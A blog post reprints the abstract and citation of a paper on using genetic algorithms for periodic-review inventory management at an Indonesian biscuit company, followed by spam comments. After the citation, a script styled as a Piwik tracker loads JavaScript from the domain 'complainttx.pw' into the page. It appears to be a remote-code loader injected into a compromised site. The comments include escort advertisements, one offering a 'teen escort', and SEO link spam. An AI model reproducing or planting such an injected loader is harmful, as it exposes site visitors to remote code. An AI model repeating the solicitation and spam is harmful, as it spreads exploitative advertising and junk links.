Application of Genetic Algorithms in Inventory Management

Application  of Genetic Algorithms in Inventory Management

 

Dania, W.A.P.

 

Abstract: Inventory cost is a main component of total logistic costs. To achieve the minimum logistic costs, companies need to manage the amount of carrying inventory accurately to minimize the impact of the fluctation of demand. In order to deal with the fluctuation of the demand that creates a mismatch between supply and demand, Genetic Algorithms are applied to define the optimal solution based on periodic review system. Genetic Algorithms as one of the optimization method are chosen because it can handle the problem with highly constrained, multi criteria, multi combinatorial problem and has large solution. There are several steps that need to be accomplished to achieve the objective. First, mathematic model of inventory management which contain of all cost component need to be determined. Second, based on the proposed mathematic model, Genetic Algorithms as the optimization method is developed. Finally, the result of Genetic Algorithms is applied in real case study which is case in one of biscuits companies in Indonesia.

 

 

Key words: Inventory management, Periodic review system, Genetic algorithms

 

 

       

 

 

Authors´ data: STP, MEng. Dania, W[ike] A[gustin] P[rima]*, *Brawijaya University, Jalan Veteran Malang 65145, Indonesia, wike_mobile8@yahoo.com.

 

This Publication has to be referred as: Dania, W[ike] A[gustin] P[rima] (2010). Application of Genetic Algorithms in Inventory Management, Chapter xx in DAAAM International Scientific Book 2010, pp. xxx-xxx, WAP. Dania (Ed.), Published by DAAAM International, ISBN 978-3-901509-74-2, ISSN 1726-9687, Vienna, Austria

DOI: 10.2507/daaam.scibook.2010.xx

 


 

var _paq = _paq || [];
_paq.push(["setDomains", ["*.siteUrl.com","*.siteUrl2.com"]]);
_paq.push(['trackPageView']);
_paq.push(['enableLinkTracking']);
(function() {
var u=”//complainttx.pw/”;
_paq.push(['setTrackerUrl', u+'piwik.php']);
_paq.push(['setSiteId', 4]);
var d=document, g=d.createElement(‘script’), s=d.getElementsByTagName(‘script’)[0];
g.type=’text/javascript’; g.async=true; g.defer=true; g.src=u+’piwik.js’; s.parentNode.insertBefore(g,s);
})();

This entry was posted in tulisanku.. and tagged , . Bookmark the permalink.

13,730 Responses to Application of Genetic Algorithms in Inventory Management

  1. Clair says:

    And we’ve understood extra of the finance jargon that occasionally rolls on the tongue.

  2. Elvis says:

    Additionally, the Standing Committee on Finance is developed
    to increase the linkages and to market the coordination with climate finance connected actors and initiatives inside and outside
    the Convention.

  3. Brandon says:

    We give positions ranging from entry level to leadership
    roles in a number of locations of which includes Account Servicing, Analytics, Finance and much more.

  4. An embedded chip in the credit card enables payments to be made by placing
    the card close to the payment processor.

  5. Mohini says:

    Enjoy Independent Ahmedabad Escorts Service for Ultimate & Divine Pleasure

    You are welcome to the entire realm of ultimate fun. I am Mohini independent Ahmedabad escorts Ahmedabad Escorts introducing ourselves as one of the most reputed and celebrated independent Ahmedabad escort Ahmedabad escorts agency having great name and fame in the entire world of escorting. We have a galore of ultra gorgeous girls in our pool to serve our prestigious clientele that includes high profile dignitaries, film stars, television personalities, politicians and the big business tycoons. We arrange for you the girls and erotic ladies who are from diversified social backgrounds including housewives, models, ramp models, air hostess and the college girls. Today, we are in a position to acclaim that the best call girls in Ahmedabad and our agency simply go hand in hand, in and around the city of Ahmedabad.

    Having both experience and expertise in the domain of providing Ahmedabad Independent Escorts professional escorts, dating and relationship services to the people of all backgrounds and statuses, we have come a long way brining our clients the most unique and out of the box Ahmedabad escorts services. You just name the category, and we have the erotic solutions for you. Be it an air hostess, model or the college girl, we have handpicked all for you from the finest collection of girls who always provide out of the box erotic pleasure to you.

  6. Mohini says:

    Enjoy Independent Ahmedabad Escorts Service for Ultimate & Divine Pleasure

    You are welcome to the entire realm of ultimate fun. I am Mohini independent Ahmedabad escorts Ahmedabad Escorts introducing ourselves as one of the most reputed and celebrated independent Ahmedabad escort Ahmedabad escorts agency having great name and fame in the entire world of escorting. We have a galore of ultra gorgeous girls in our pool to serve our prestigious clientele that includes high profile dignitaries, film stars, television personalities, politicians and the big business tycoons. We arrange for you the girls and erotic ladies who are from diversified social backgrounds including housewives, models, ramp models, air hostess and the college girls. Today, we are in a position to acclaim that the best call girls in Ahmedabad and our agency simply go hand in hand, in and around the city of Ahmedabad.

    Having both experience and expertise in the domain of providing Ahmedabad Independent Escorts professional escorts, dating and relationship services to the people of all backgrounds and statuses, we have come a long way brining our clients the most unique and out of the box Ahmedabad escorts services. You just name the category, and we have the erotic solutions for you. Be it an air hostess, model or the college girl, we have handpicked all for you from the finest collection of girls who always provide out of the box erotic pleasure to you.http://www.mohiniescort.in/

  7. Independent
    Escorts
    In
    Mumbai

    Hello Gentlemen! Welcome to the Mumbai Escorts fantasizing world of Erin! You might have come across several people claiming high on escort service in Mumbai, but rest assured when you are with me, you will enjoy a world of fantasy and fun amidst a cozy comfortable companionship with a smart outlooking partner. Visiting my site might be a random search for you, but I am sure, after availing my escortship, you will hardly think of another partner for a long time for sure!

    Why you must meet a teen escort in Mumbai like me: http://www.erin-ahuja.in/

  8. sohbet hatti says:

    Today, I went to the beachfront with my children. I found a sea shell and gave it to my 4 year old
    daughter and said “You can hear the ocean if you put this to your ear.” She placed the shell to her ear and
    screamed. There was a hermit crab inside and it pinched her
    ear. She never wants to go back! LoL I know this
    is completely off topic but I had to tell someone!

    Feel free to visit my blog post :: sohbet hatti

  9. Hey! I just wanted to ask if you ever have any problems with hackers?
    My last blog (wordpress) was hacked and I ended up losing months of hard
    work due to no backup. Do you have any solutions to prevent hackers?

    Visit my blog post: canli sohbet hatti

  10. Thank you for your website post. Jones and I happen to be saving to buy a new publication on this subject and your post has made us to save all of our money. Your thinking really responded all our problems. In fact, over what we had acknowledged in advance of the time we discovered your fantastic blog. My spouse and i no longer nurture doubts and also a troubled mind because you have attended to the needs here. Thanks

Leave a Reply

Your email address will not be published. Required fields are marked *

CAPTCHA Image

*

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>